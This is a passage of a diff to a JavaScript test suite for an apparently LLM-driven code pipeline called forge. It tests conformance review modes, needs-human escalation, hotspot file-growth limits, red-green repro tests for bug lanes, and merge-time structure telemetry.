const w2 = world({ reviews: [conf({ verdict: "NONCONFORMING" }), conf({ verdict: "NONCONFORMING" })] });
|
|
970
|
+
assert.equal((await runShadow(w2)).code, "review.inconsistent"); assert.equal(w2.merges.length, 0);
|
|
971
|
+
});
|
|
972
|
+
|
|
973
|
+
it("#4160 the targeted re-ask completes the first reply: its rows are merged by id and the change merges", async () => {
|
|
974
|
+
const partial = fence({ ...JSON.parse(ok().slice(8, -4)), requirements: [] });
|
|
975
|
+
const w = world({ reviews: [partial, fence({ requirements: [{ id: "R1", status: "implemented", evidence: "foo.js:3", validated_by: "V1" }], verdict: "CONFORMS" })] });
|
|
976
|
+
assert.equal((await runShadow(w)).terminalReason, "merged");
|
|
977
|
+
assert.match(reviewers(w)[1][4], /answer ONLY for these ids or sections: R1\./);
|
|
978
|
+
assert.match(shadowNote(w), /would PASS/);
|
|
979
|
+
});
|
|
980
|
+
|
|
981
|
+
it("#4160 engine.review_incomplete degraded: an incomplete review merges with the review-degraded label and a tracked follow-up", async () => {
|
|
982
|
+
const w = world({ reviews: [genericPass(), genericPass()] });
|
|
983
|
+
const r = await runShadow(w, { reviewIncomplete: "degraded" });
|
|
984
|
+
assert.equal(r.terminalReason, "merged");
|
|
985
|
+
assert.equal(w.followups.length, 1); assert.match(w.followups[0].items[0].key, /^REVIEW: conformance review review\.incomplete/);
|
|
986
|
+
assert.ok(w.prEdits.some((a) => a.includes("--add-label") && a.includes("review-degraded")));
|
|
987
|
+
assert.match(shadowNote(w), /Review degraded:[\s\S]*#900/);
|
|
988
|
+
assert.match(w.prs[0].join(" "), /Remaining work tracked\n- #900/);
|
|
989
|
+
const e = world({ reviews: [genericPass(), genericPass()] });
|
|
990
|
+
assert.equal((await run(e, { reviewIncomplete: "degraded" })).code, "review.incomplete", "enforce ignores the degraded setting");
|
|
819
991
|
});
|
|
820
992
|
|
|
821
993
|
it("shadow still blocks what the previous reviewer blocked on: a requirement not implemented gets one resume, then needs-human", async () => {
|
|
@@ -832,8 +1004,23 @@ describe("conformance shadow mode (the default)", () => {
|
|
|
832
1004
|
const r = await runShadow(w);
|
|
833
1005
|
assert.equal(r.code, "conformance.unimplemented"); assert.equal(w.merges.length, 0);
|
|
834
1006
|
assert.equal(builders(w).length, 3, "plan + implement + one resume"); assert.equal(reviewers(w).length, 0);
|
|
835
|
-
assert.match(builders(w)[2][4], /validate V1 failed \(exit 1\)/);
|
|
836
|
-
assert.match(nhBody(w), /validate V1 failed \(exit 1\)/);
|
|
1007
|
+
assert.match(builders(w)[2][4], /validate V1 \(`node --test test\/foo\.test\.js`\) failed \(exit 1\)/);
|
|
1008
|
+
assert.match(nhBody(w), /validate V1 \(`node --test test\/foo\.test\.js`\) failed \(exit 1\)/);
|
|
1009
|
+
});
|
|
1010
|
+
|
|
1011
|
+
it("a failed validate fetches the lane and the resume says how to catch up with a moved base (merge, never rebase)", async () => {
|
|
1012
|
+
const w = world({ validation: [{ id: "V1", command: "node --test test/foo.test.js", exit: 1 }], resumeValidation: [{ id: "V1", command: "node --test test/foo.test.js", exit: 0 }] });
|
|
1013
|
+
assert.equal((await runShadow(w)).terminalReason, "merged");
|
|
1014
|
+
const p = builders(w)[2][4];
|
|
1015
|
+
assert.match(p, /origin\/staging moved on[\s\S]*git merge --no-edit origin\/staging[\s\S]*never rebase or force/);
|
|
1016
|
+
const fetches = w.calls.filter((c) => c[0] === "git" && c[1] === "fetch" && c[2] === "origin" && c[3] === "staging");
|
|
1017
|
+
assert.ok(fetches.length >= 2, "fetched at setup and again before the resume");
|
|
1018
|
+
});
|
|
1019
|
+
|
|
1020
|
+
it("a resume for other failures (a partial requirement) does not mention merging the base", async () => {
|
|
1021
|
+
const w = world({ claims: [{ id: "R1", status: "partial" }] });
|
|
1022
|
+
await runShadow(w);
|
|
1023
|
+
assert.doesNotMatch(builders(w)[2][4], /git merge --no-edit/);
|
|
837
1024
|
});
|
|
838
1025
|
|
|
839
1026
|
it("shadow: a failed validate fixed by the resume merges", async () => {
|
|
@@ -846,12 +1033,32 @@ describe("conformance shadow mode (the default)", () => {
|
|
|
846
1033
|
const r = await runShadow(w);
|
|
847
1034
|
assert.equal(r.code, "conformance.unimplemented"); assert.equal(w.merges.length, 0); assert.equal(builders(w).length, 3);
|
|
848
1035
|
assert.match(nhBody(w), /R1 reported "partial"/);
|
|
1036
|
+
assert.match(nhBody(w), /R1 reported "partial" \("foo must handle a null argument without throwing\."\)/, "#4265: names the unmet requirement");
|
|
1037
|
+
assert.match(traj(w)[0], /Not conforming \(precheck\): conformance\.unimplemented \(R1 reported "partial" \("foo must handle/);
|
|
849
1038
|
});
|
|
850
1039
|
|
|
851
|
-
it("
|
|
1040
|
+
it("#4265 a validate step failing after the resume names its command in the needs-human", async () => {
|
|
1041
|
+
const v = [{ id: "V1", command: "node --test test/foo.test.js", exit: 1 }];
|
|
1042
|
+
const w = world({ validation: v, resumeValidation: v });
|
|
1043
|
+
assert.equal((await runShadow(w)).code, "conformance.unimplemented");
|
|
1044
|
+
assert.match(nhBody(w), /validate V1 \(`node --test test\/foo\.test\.js`\) failed \(exit 1\)/);
|
|
1045
|
+
});
|
|
1046
|
+
|
|
1047
|
+
it("#4160 shadow blocks a validate step with no recorded result and an invalid amendment like a reviewer-found unimplemented requirement", async () => {
|
|
852
1048
|
const w = world({ validation: [] });
|
|
1049
|
+
const r = await runShadow(w);
|
|
1050
|
+
assert.equal(r.code, "conformance.unimplemented"); assert.equal(w.merges.length, 0);
|
|
1051
|
+
assert.equal(builders(w).length, 3, "one builder resume"); assert.equal(reviewers(w).length, 0, "no reviewer tokens on a precheck block");
|
|
1052
|
+
assert.match(builders(w)[2][4], /validate V1 .*has no recorded result/);
|
|
1053
|
+
const fixed = world({ validation: [], resumeValidation: [{ id: "V1", command: "node --test test/foo.test.js", exit: 0 }] });
|
|
1054
|
+
assert.equal((await runShadow(fixed)).terminalReason, "merged", "recorded by the resume, then merges");
|
|
1055
|
+
const a = world({ amendments: [{ kind: "add-deliverable", path: "src/x.js" }] });
|
|
1056
|
+
const ra = await runShadow(a);
|
|
1057
|
+
assert.equal(ra.code, "conformance.unimplemented"); assert.match(nhBody(a), /amendment without why/);
|
|
1058
|
+
});
|
|
1059
|
+
it("#4160 scope creep found by the precheck stays recorded-only in shadow", async () => {
|
|
1060
|
+
const w = world({ changed: ["src/foo.js", "src/billing.js", "test/foo.test.js"], reviews: [conf({}, CONTRACT, ["src/foo.js", "src/billing.js", "test/foo.test.js"])] });
|
|
853
1061
|
assert.equal((await runShadow(w)).terminalReason, "merged");
|
|
854
|
-
assert.match(shadowNote(w), /validate V1 .*has no recorded result/);
|
|
855
1062
|
});
|
|
856
1063
|
|
|
857
1064
|
it("enforce blocks a failed validate exactly as before", async () => {
|
|
@@ -860,13 +1067,20 @@ describe("conformance shadow mode (the default)", () => {
|
|
|
860
1067
|
assert.equal(r.code, "conformance.unimplemented"); assert.equal(w.merges.length, 0);
|
|
861
1068
|
});
|
|
862
1069
|
|
|
863
|
-
it("shadow files
|
|
1070
|
+
it("#4160 shadow files accepted deferrals with track(), the same as enforce, and the PR links them", async () => {
|
|
864
1071
|
const k = { ...CONTRACT, preserve: [], requirements: [CONTRACT.requirements[0], { id: "R2", quote: "Existing callers of foo keep working.", disposition: "defer", why: "w" }] };
|
|
865
1072
|
const w = world({ contract: k, claims: [{ id: "R1", status: "implemented" }], reviews: [conf({}, k)] });
|
|
866
1073
|
assert.equal((await runShadow(w)).terminalReason, "merged");
|
|
867
|
-
assert.equal(w.followups.length, 0);
|
|
868
|
-
assert.
|
|
869
|
-
assert.
|
|
1074
|
+
assert.equal(w.followups.length, 1); assert.match(w.followups[0].items[0].key, /^R2: /);
|
|
1075
|
+
assert.doesNotMatch(shadowNote(w), /not filed/);
|
|
1076
|
+
assert.match(w.prs[0].join(" "), /Remaining work tracked\n- #900/);
|
|
1077
|
+
assert.ok(w.seq.indexOf("pr") > -1 && traj(w)[0].includes("Tracked R2 (defer) in #900"));
|
|
1078
|
+
});
|
|
1079
|
+
|
|
1080
|
+
it("#4160 base-sync merge files (equal to the base) drop out of the scope check", async () => {
|
|
1081
|
+
const w = world({ changed: ["src/foo.js", "src/merged-from-base.js", "test/foo.test.js"], equalToBase: ["src/merged-from-base.js"] });
|
|
1082
|
+
assert.equal((await run(w)).terminalReason, "merged");
|
|
1083
|
+
assert.doesNotMatch(reviewers(w)[0][4], /merged-from-base/);
|
|
870
1084
|
});
|
|
871
1085
|
|
|
872
1086
|
it("an unparseable reviewer still ends needs-human in shadow (as today)", async () => {
|
|
@@ -894,6 +1108,10 @@ describe("conformance gate: base-sync and contract size", () => {
|
|
|
894
1108
|
const d = tmpDir("conf-yaml-");
|
|
895
1109
|
for (const [v, want] of [["enforce", "enforce"], ["shadow", "shadow"], ["strict", undefined]]) { writeFileSync(`${d}/forge.yaml`, `engine:\n conformance: ${v}\n`); assert.equal(readConformanceMode(d), want); }
|
|
896
1110
|
});
|
|
1111
|
+
it("#4160 forge.yaml engine.review_incomplete selects needs-human or degraded; anything else is ignored", () => {
|
|
1112
|
+
const d = tmpDir("rev-inc-yaml-");
|
|
1113
|
+
for (const [v, want] of [["degraded", "degraded"], ["needs-human", "needs-human"], ["merge", undefined]]) { writeFileSync(`${d}/forge.yaml`, `engine:\n review_incomplete: ${v}\n`); assert.equal(readReviewIncomplete(d), want); }
|
|
1114
|
+
});
|
|
897
1115
|
});
|
|
898
1116
|
|
|
899
1117
|
describe("structure delta (forge#4159): undeclared package edges block, import growth only reports", () => {
|
|
@@ -958,7 +1176,7 @@ describe("structure delta (forge#4159): undeclared package edges block, import g
|
|
|
958
1176
|
assert.equal(r.terminalReason, "merged"); assert.equal(builders(w).length, 3);
|
|
959
1177
|
});
|
|
960
1178
|
|
|
961
|
-
it("import-pair growth and boundary loosening never block: one <structure> line in the one reviewer prompt, telemetry recorded", async () => {
|
|
1179
|
+
it("import-pair growth and boundary loosening never block: one <structure> line in the one reviewer prompt, telemetry recorded at merge", async () => {
|
|
962
1180
|
const d = delta({ import_pairs: [{ from: "@s/web", to: "@s/db", files_added: 8, files_removed: 0 }], boundary_config_changed: { changed: true, files: ["eslint.config.mjs"], loosens: true, tightens: false } });
|
|
963
1181
|
for (const conformance of ["enforce", "shadow"]) {
|
|
964
1182
|
const w = sworld([d]);
|
|
@@ -967,20 +1185,26 @@ describe("structure delta (forge#4159): undeclared package edges block, import g
|
|
|
967
1185
|
const lines = reviewers(w)[0][4].split("\n").filter((l) => l.includes("<structure>"));
|
|
968
1186
|
assert.equal(lines.length, 1);
|
|
969
1187
|
assert.match(lines[0], /^<structure>Structure \(report only\): this PR adds 8 value imports @s\/web→@s\/db \(files\); the repo's boundary config was loosened in this PR \(eslint\.config\.mjs\); flag only if the contract or the architecture doc says otherwise\.<\/structure>$/);
|
|
970
|
-
|
|
971
|
-
|
|
972
|
-
assert.
|
|
1188
|
+
// forge#4165: the one telemetry record is written at merge (the implement-time event is run-log only)
|
|
1189
|
+
const ts = w.telemetry.filter((x) => x.event === "STRUCTURE_DELTA");
|
|
1190
|
+
assert.equal(ts.length, 1);
|
|
1191
|
+
assert.deepEqual([ts[0].import_files_added, ts[0].boundary_loosened, ts[0].phase], [8, true, "merge"]);
|
|
1192
|
+
assert.deepEqual(mapRecord(ts[0], 5).payload, { edges_added: 0, edges_removed: 0, import_files_added: 8, import_files_removed: 0, boundary_changed: 1, boundary_loosened: 1,
|
|
1193
|
+
deps_added: "none", new_edges: "@s/web:@s/db", removed_edges: "none", top_growth: "none", decisions: "none", decisions_doc: 0, decisions_lint: 0, decisions_precedent: 0, decisions_spec: 0 });
|
|
973
1194
|
}
|
|
974
1195
|
});
|
|
975
1196
|
|
|
976
|
-
it("no workspace packages ({}), a failed script or no io.structureDelta: no event, no prompt line, the same reviewer prompt", async () => {
|
|
1197
|
+
it("no workspace packages ({}), a failed script or no io.structureDelta: no implement-time event, no prompt line, the same reviewer prompt", async () => {
|
|
977
1198
|
const base = world(); await run(base);
|
|
978
1199
|
for (const d of [{}, null]) {
|
|
979
1200
|
const dir = tmpDir("struct-none-");
|
|
980
1201
|
const w = sworld([d]);
|
|
981
1202
|
assert.equal((await run(w, { dir })).terminalReason, "merged");
|
|
982
1203
|
assert.equal(reviewers(w)[0][4], reviewers(base)[0][4]);
|
|
983
|
-
assert.ok(!readLog(dir, 7).some((x) => x.event === "STRUCTURE_DELTA"
|
|
1204
|
+
assert.ok(!readLog(dir, 7).some((x) => x.event === "STRUCTURE_DELTA" && x.phase !== "merge"));
|
|
1205
|
+
// forge#4165: every merged run still writes the merge-time record, with empty lists
|
|
1206
|
+
const ts = w.telemetry.filter((x) => x.event === "STRUCTURE_DELTA");
|
|
1207
|
+
assert.equal(ts.length, 1); assert.equal(ts[0].phase, "merge"); assert.deepEqual([ts[0].edges_added, ts[0].new_edges], [0, []]);
|
|
984
1208
|
assert.equal(builders(w).length, 2);
|
|
985
1209
|
}
|
|
986
1210
|
assert.equal(structureNote({}), ""); assert.equal(structureNote(null), ""); assert.equal(structureNote(delta()), "");
|
|
@@ -997,6 +1221,245 @@ describe("structure delta (forge#4159): undeclared package edges block, import g
|
|
|
997
1221
|
});
|
|
998
1222
|
});
|
|
999
1223
|
|
|
1224
|
+
describe("hotspot prevention (forge#4195): plan facts, build rule, unexempted growth blocks", () => {
|
|
1225
|
+
const facts = (files, o = {}) => ({ enabled: true, file_lines: 2000, growth_lines: 150, files, ...o });
|
|
1226
|
+
const HOT = { path: "src/foo.js", lines: 2400, commits_90d: 40, hotspot: 96000, over: true, excluded: false, base_lines: null, growth: null };
|
|
1227
|
+
const COLD = { path: "src/bar.js", lines: 300, commits_90d: 2, hotspot: 600, over: false, excluded: false, base_lines: null, growth: null };
|
|
1228
|
+
const GROWN = { ...HOT, lines: 2600, base_lines: 2400, growth: 200 };
|
|
1229
|
+
const SMALL = { ...HOT, lines: 2500, base_lines: 2400, growth: 100 };
|
|
1230
|
+
/** world whose io.hotspots answers the plan call (no base) with `plan` and the gate calls (base) from `gates` in order. */
|
|
1231
|
+
const hworld = (plan, gates, o = {}) => {
|
|
1232
|
+
const w = world(o); const q = [...gates]; w.hotCalls = [];
|
|
1233
|
+
w.io.hotspots = async (x) => { w.hotCalls.push(x); if (!x.base) return plan; return q.length > 1 ? q.shift() : q[0]; };
|
|
1234
|
+
return w;
|
|
1235
|
+
};
|
|
1236
|
+
const nh = (w) => w.comments.find((c) => c.includes("FORGE:NEEDS_HUMAN")) ?? "";
|
|
1237
|
+
|
|
1238
|
+
it("the plan note is empty with no over-threshold file and has exactly one line per over-threshold, non-excluded file", () => {
|
|
1239
|
+
for (const f of [null, facts([]), facts([COLD]), facts([{ ...HOT, excluded: true }]), facts([HOT], { enabled: false })]) assert.equal(hotspotPlanNote(f), "");
|
|
1240
|
+
const note = hotspotPlanNote(facts([HOT, COLD, { ...HOT, path: "src/big.py", lines: 9000 }, { ...HOT, path: "gen/x.py", excluded: true }]));
|
|
1241
|
+
const lines = note.trim().split("\n");
|
|
1242
|
+
assert.equal(lines.length, 3, "one sentence plus one line per hot file");
|
|
1243
|
+
assert.match(lines[0], /over 2000 lines, so the contract must put new logic in a new or neighbouring module and give the hotspot only wiring \(an import and a call\)/);
|
|
1244
|
+
assert.match(lines[0], /more than 150 lines needs "hotspot-exempt: <reason>"/);
|
|
1245
|
+
assert.deepEqual(lines.slice(1), ["- src/foo.js: 2400 lines, 40 commits/90d", "- src/big.py: 9000 lines, 40 commits/90d"]);
|
|
1246
|
+
assert.equal(hotspotBuildRule(facts([], { file_lines: 1000, growth_lines: 50 })).trim(), "Don't grow a file over 1000 lines by more than 50 lines. Put new code next to it.");
|
|
1247
|
+
assert.equal(hotspotBuildRule(null), ""); assert.equal(hotspotBuildRule(facts([], { enabled: false })), "");
|
|
1248
|
+
const plan = builderPlanPrompt(7) + hotspotPlanNote(facts([HOT, { ...HOT, path: "a/b.py" }, { ...HOT, path: "c/d.py" }]));
|
|
1249
|
+
assert.ok(approxTokens(plan) <= 1800, `plan prompt with hotspots is ${approxTokens(plan)} tokens`);
|
|
1250
|
+
assert.ok(approxTokens(builderImplementPrompt() + hotspotBuildRule(facts([]))) <= 1500);
|
|
1251
|
+
});
|
|
1252
|
+
|
|
1253
|
+
it("the plan prompt carries the facts, the implement prompt the configured rule; growth within the limit merges; no extra runner calls", async () => {
|
|
1254
|
+
const w = hworld(facts([HOT, COLD], { file_lines: 2000, growth_lines: 150 }), [facts([SMALL])]);
|
|
1255
|
+
assert.equal((await run(w)).terminalReason, "merged");
|
|
1256
|
+
assert.equal(builders(w).length, 2); assert.equal(reviewers(w).length, 1);
|
|
1257
|
+
assert.match(builders(w)[0][4], /\n- src\/foo\.js: 2400 lines, 40 commits\/90d$/m);
|
|
1258
|
+
assert.ok(!builders(w)[0][4].includes("src/bar.js: 300 lines"), "under-threshold files get no line");
|
|
1259
|
+
assert.match(builders(w)[1][4], /Don't grow a file over 2000 lines by more than 150 lines\. Put new code next to it\./);
|
|
1260
|
+
assert.equal(w.hotCalls[0].cwd, "/wt/lean-7"); assert.ok(Array.isArray(w.hotCalls[0].paths)); assert.equal(w.hotCalls[0].base, undefined);
|
|
1261
|
+
assert.deepEqual(w.hotCalls[1], { cwd: "/wt/lean-7", base: "origin/staging", paths: ["src/foo.js", "test/foo.test.js"] });
|
|
1262
|
+
const plain = world(); await run(plain);
|
|
1263
|
+
assert.equal(plain.calls.filter((c) => c[0] === "runner").length, w.calls.filter((c) => c[0] === "runner").length, "no extra LLM calls");
|
|
1264
|
+
});
|
|
1265
|
+
|
|
1266
|
+
it("unexempted growth of an over-threshold file blocks in enforce and in shadow: one resume, then needs-human maintenance.hotspot_growth, no reviewer run", async () => {
|
|
1267
|
+
for (const conformance of ["enforce", "shadow"]) {
|
|
1268
|
+
const w = hworld(facts([HOT]), [facts([GROWN])]);
|
|
1269
|
+
const r = await run(w, { conformance });
|
|
1270
|
+
assert.equal(r.code, "maintenance.hotspot_growth", conformance); assert.equal(w.merges.length, 0);
|
|
1271
|
+
assert.equal(builders(w).length, 3, `${conformance}: plan + implement + one resume`); assert.equal(reviewers(w).length, 0);
|
|
1272
|
+
assert.match(builders(w)[2][4], /maintenance\.hotspot_growth: src\/foo\.js grew by 200 lines/);
|
|
1273
|
+
assert.match(nh(w), /src\/foo\.js grew by 200 lines/);
|
|
1274
|
+
}
|
|
1275
|
+
});
|
|
1276
|
+
|
|
1277
|
+
it("growth moved out on the resume merges; an exemption in the contract or a failed/missing script never blocks", async () => {
|
|
1278
|
+
const w = hworld(facts([HOT]), [facts([GROWN]), facts([SMALL])]);
|
|
1279
|
+
assert.equal((await run(w, { conformance: "shadow" })).terminalReason, "merged"); assert.equal(builders(w).length, 3);
|
|
1280
|
+
const k = { ...CONTRACT, deliverables: [{ ...CONTRACT.deliverables[0], change: "guard null; hotspot-exempt: the guard must sit next to the parser it protects" }] };
|
|
1281
|
+
const we = hworld(facts([HOT]), [facts([GROWN])], { contract: k, reviews: [conf({}, k)] });
|
|
1282
|
+
assert.equal((await run(we)).terminalReason, "merged"); assert.equal(builders(we).length, 2);
|
|
1283
|
+
const plain = world(); await run(plain);
|
|
1284
|
+
const throwing = world(); throwing.io.hotspots = async () => { throw new Error("script failed"); };
|
|
1285
|
+
for (const wn of [hworld(null, [null]), hworld(facts([HOT], { enabled: false }), [facts([GROWN], { enabled: false })]), throwing]) {
|
|
1286
|
+
assert.equal((await run(wn)).terminalReason, "merged"); assert.equal(builders(wn).length, 2);
|
|
1287
|
+
assert.equal(builders(wn)[0][4], builders(plain)[0][4], "no plan note"); assert.equal(builders(wn)[1][4], builders(plain)[1][4], "no build rule");
|
|
1288
|
+
}
|
|
1289
|
+
});
|
|
1290
|
+
});
|
|
1291
|
+
|
|
1292
|
+
describe("bug lanes freeze a red-green repro_test (#4271)", () => {
|
|
1293
|
+
const RT = { path: "test/foo.test.js", id: "foo handles null", command: "node --test test/foo.test.js" };
|
|
1294
|
+
const BUG = [{ name: "bug" }];
|
|
1295
|
+
/** world labelled `labels` whose io.redGreen answers from `rg` in order (the last repeats). */
|
|
1296
|
+
const rworld = (rg, o = {}) => {
|
|
1297
|
+
const w = world({ labels: BUG, contract: { ...CONTRACT, repro_test: RT }, ...o }); const q = [...rg]; w.rgCalls = [];
|
|
1298
|
+
w.io.redGreen = async (x) => { w.rgCalls.push(x); return q.length > 1 ? q.shift() : q[0]; };
|
|
1299
|
+
return w;
|
|
1300
|
+
};
|
|
1301
|
+
const nh = (w) => w.comments.find((c) => c.includes("FORGE:NEEDS_HUMAN")) ?? "";
|
|
1302
|
+
const RED_GREEN = { base: "FAILED", head: "RAN" };
|
|
1303
|
+
|
|
1304
|
+
it("a testable bug: the plan asks for repro_test, the frozen one is proved red on base and green on head, and it merges", async () => {
|
|
1305
|
+
const w = rworld([RED_GREEN]);
|
|
1306
|
+
assert.equal((await run(w)).terminalReason, "merged");
|
|
1307
|
+
assert.match(builders(w)[0][4], /This issue is a bug\. When it is testable, .*"repro_test":\{"path"/);
|
|
1308
|
+
assert.match(builders(w)[0][4], /"repro_test":"none","repro_test_reason"/);
|
|
1309
|
+
assert.deepEqual(w.rgCalls, [{ cwd: "/wt/lean-7", base: "origin/staging", command: RT.command }]);
|
|
1310
|
+
assert.match(w.comments.find((c) => c.includes("FORGE:CONTRACT")), /"repro_test"/, "repro_test is frozen in the contract JSON");
|
|
1311
|
+
assert.ok(traj(w)[0].includes("repro_test test/foo.test.js foo handles null: BASE=FAILED HEAD=RAN"));
|
|
1312
|
+
assert.equal(builders(w).length, 2); assert.equal(reviewers(w).length, 1);
|
|
1313
|
+
const t = rworld([RED_GREEN], { labels: [{ name: "type:bug" }] });
|
|
1314
|
+
assert.equal((await run(t)).terminalReason, "merged"); assert.equal(t.rgCalls.length, 1, "type:bug counts as a bug");
|
|
1315
|
+
});
|
|
1316
|
+
|
|
1317
|
+
it("a repro test that is not red on base and green on head fails the precheck in enforce and in shadow: one in-session resume, then needs-human", async () => {
|
|
1318
|
+
for (const conformance of ["enforce", "shadow"]) {
|
|
1319
|
+
for (const rg of [{ base: "RAN", head: "RAN" }, { base: "SKIPPED", head: "FAILED" }, null]) {
|
|
1320
|
+
const w = rworld([rg]);
|
|
1321
|
+
const r = await run(w, { conformance });
|
|
1322
|
+
assert.equal(r.code, "conformance.unimplemented", `${conformance} ${JSON.stringify(rg)}`); assert.equal(w.merges.length, 0);
|
|
1323
|
+
assert.equal(builders(w).length, 3, "plan + implement + one resume"); assert.equal(builders(w)[2][2], "sess-1", "the resume is in the builder's session");
|
|
1324
|
+
assert.equal(reviewers(w).length, 0, "no reviewer tokens on a failed repro proof");
|
|
1325
|
+
assert.match(builders(w)[2][4], /must fail on the base and pass on head; got BASE=/);
|
|
1326
|
+
assert.match(nh(w), /repro test test\/foo\.test\.js foo handles null/);
|
|
1327
|
+
}
|
|
1328
|
+
}
|
|
1329
|
+
const fixed = rworld([{ base: "RAN", head: "RAN" }, RED_GREEN]);
|
|
1330
|
+
assert.equal((await run(fixed, { conformance: "shadow" })).terminalReason, "merged"); assert.equal(fixed.rgCalls.length, 2);
|
|
1331
|
+
});
|
|
1332
|
+
|
|
1333
|
+
it("a non-testable bug records repro_test none with a reason and is not blocked; a missing repro_test gets the one contract correction", async () => {
|
|
1334
|
+
const none = { ...CONTRACT, repro_test: "none", repro_test_reason: "spec-only change, nothing executable" };
|
|
1335
|
+
const w = rworld([RED_GREEN], { contract: none });
|
|
1336
|
+
assert.equal((await run(w)).terminalReason, "merged");
|
|
1337
|
+
assert.equal(w.rgCalls.length, 0); assert.equal(builders(w).length, 2);
|
|
1338
|
+
assert.ok(traj(w)[0].includes("repro_test: none (spec-only change, nothing executable)"));
|
|
1339
|
+
const m = rworld([RED_GREEN], { contract: CONTRACT, fixedContract: none });
|
|
1340
|
+
assert.equal((await run(m)).terminalReason, "merged");
|
|
1341
|
+
assert.match(builders(m)[1][4], /contract\.json is not valid:\n- this is a bug: repro_test must be/);
|
|
1342
|
+
assert.equal(m.rgCalls.length, 0);
|
|
1343
|
+
});
|
|
1344
|
+
|
|
1345
|
+
it("lean.repro_test off, or a lane that is not a bug, keeps today's prompts, contract check and precheck unchanged", async () => {
|
|
1346
|
+
const plain = world(); await run(plain);
|
|
1347
|
+
for (const [o, extra] of [[{}, { reproTest: "off" }], [{ labels: [{ name: "feature" }] }, {}]]) {
|
|
1348
|
+
const w = rworld([{ base: "RAN", head: "RAN" }], { contract: CONTRACT, ...o });
|
|
1349
|
+
assert.equal((await run(w, extra)).terminalReason, "merged");
|
|
1350
|
+
assert.equal(builders(w)[0][4], builders(plain)[0][4], "plan prompt unchanged"); assert.equal(builders(w)[1][4], builders(plain)[1][4]);
|
|
1351
|
+
assert.equal(builders(w).length, 2, "no contract correction for a missing repro_test"); assert.equal(w.rgCalls.length, 0);
|
|
1352
|
+
}
|
|
1353
|
+
const k = rworld([{ base: "RAN", head: "RAN" }]);
|
|
1354
|
+
assert.equal((await run(k, { reproTest: "off" })).terminalReason, "merged"); assert.equal(k.rgCalls.length, 0, "off never runs a frozen repro_test");
|
|
1355
|
+
});
|
|
1356
|
+
});
|
|
1357
|
+
|
|
1358
|
+
describe("structure delta and decision provenance at merge (forge#4165)", () => {
|
|
1359
|
+
const DEC = [{ id: "K1", choice: "web imports db", justification: "docs/architecture.md:12", source: "doc" }, { id: "K2", choice: "copy the retry helper", justification: "src/retry.js:3", source: "precedent" }];
|
|
1360
|
+
const D = { package_edges_added: [{ from: "@s/db", to: "@s/core", kind: "dependencies", manifest: "packages/db/package.json" }], package_edges_removed: [],
|
|
1361
|
+
import_pairs: [{ from: "@s/web", to: "@s/db", files_added: 2, files_removed: 0, files: ["apps/web/a.ts", "apps/web/b.ts"] }, { from: "@s/web", to: "@s/old", files_added: 0, files_removed: 1, files: [] }],
|
|
1362
|
+
boundary_config_changed: { changed: false, files: [], loosens: false, tightens: false } };
|
|
1363
|
+
const contract = { ...CONTRACT, deliverables: [...CONTRACT.deliverables, { id: "D2", path: "packages/db/package.json", change: "add @s/core: db needs the constants" }], decisions: DEC };
|
|
1364
|
+
const mworld = (o = {}) => {
|
|
1365
|
+
const w = world({ contract, ...o }); w.ghCalls = 0; w.structureCalls = 0;
|
|
1366
|
+
const gh = w.io.gh; w.io.gh = async (a) => { w.ghCalls++; return gh(a); };
|
|
1367
|
+
w.io.structureDelta = async () => { w.structureCalls++; return D; };
|
|
1368
|
+
w.numstat = "120\t3\tsrc/foo.js\n4\t0\ttest/foo.test.js\n-\t-\tlogo.png\n9\t0\t.forge-lean/result.json\n300\t1\tapps/web/big.ts\n";
|
|
1369
|
+
return w;
|
|
1370
|
+
};
|
|
1371
|
+
|
|
1372
|
+
it("a merged run writes one STRUCTURE_DELTA with edges, growth, provenance and the PR; the trajectory shows it; no extra gh call", async () => {
|
|
1373
|
+
const dir = tmpDir("struct-merge-");
|
|
1374
|
+
const w = mworld();
|
|
1375
|
+
const r = await run(w, { dir });
|
|
1376
|
+
assert.equal(r.terminalReason, "merged");
|
|
1377
|
+
const ts = w.telemetry.filter((x) => x.event === "STRUCTURE_DELTA");
|
|
1378
|
+
assert.equal(ts.length, 1, "exactly one telemetry write for the delta");
|
|
1379
|
+
const t = ts[0];
|
|
1380
|
+
assert.equal(t.phase, "merge"); assert.equal(t.pr, r.pr);
|
|
1381
|
+
assert.deepEqual(t.deps_added, [{ from: "@s/db", to: "@s/core", kind: "dependencies", manifest: "packages/db/package.json" }]);
|
|
1382
|
+
assert.deepEqual(t.new_edges, [{ from: "@s/web", to: "@s/db", file: "apps/web/a.ts", files: 2 }]);
|
|
1383
|
+
assert.deepEqual(t.removed_edges, [{ from: "@s/web", to: "@s/old", files: 1 }]);
|
|
1384
|
+
assert.deepEqual(t.top_growth, [{ file: "apps/web/big.ts", lines: 300 }, { file: "src/foo.js", lines: 120 }, { file: "test/foo.test.js", lines: 4 }], "binary and .forge-lean files skipped");
|
|
1385
|
+
assert.deepEqual(t.decisions, [{ id: "K1", source: "doc" }, { id: "K2", source: "precedent" }]);
|
|
1386
|
+
const m = mapRecord(t, 5);
|
|
1387
|
+
assert.equal(m.pr, r.pr);
|
|
1388
|
+
assert.deepEqual([m.payload.deps_added, m.payload.new_edges, m.payload.removed_edges, m.payload.top_growth, m.payload.decisions, m.payload.decisions_doc, m.payload.decisions_precedent, m.payload.decisions_lint],
|
|
1389
|
+
["@s/db:@s/core", "@s/web:@s/db", "@s/web:@s/old", "apps/web/big.ts+300,src/foo.js+120,test/foo.test.js+4", "K1:doc,K2:precedent", 1, 1, 0]);
|
|
1390
|
+
for (const v of Object.values(m.payload)) assert.notEqual(typeof v, "object");
|
|
1391
|
+
assert.ok(readLog(dir, 7).some((x) => x.event === "STRUCTURE_DELTA" && x.phase === "merge"), "run log too");
|
|
1392
|
+
const traj = w.comments.find((c) => c.includes("FORGE:TRAJECTORY"));
|
|
1393
|
+
assert.match(traj, /\*\*Structure\*\*\n\| Delta \| Value \|/);
|
|
1394
|
+
assert.match(traj, /\| Package deps added \| @s\/db → @s\/core \(packages\/db\/package\.json\) \|/);
|
|
1395
|
+
assert.match(traj, /\| Import edges added \| @s\/web → @s\/db \(apps\/web\/a\.ts\) \|/);
|
|
1396
|
+
assert.match(traj, /\| Top growth \| apps\/web\/big\.ts \+300, src\/foo\.js \+120, test\/foo\.test\.js \+4 \|/);
|
|
1397
|
+
assert.match(traj, /\| Decision sources \| K1 doc, K2 precedent \|/);
|
|
1398
|
+
// overhead: the delta is computed by the script only (implement + one merge-time run), and adds no gh call
|
|
1399
|
+
assert.equal(w.structureCalls, 2);
|
|
1400
|
+
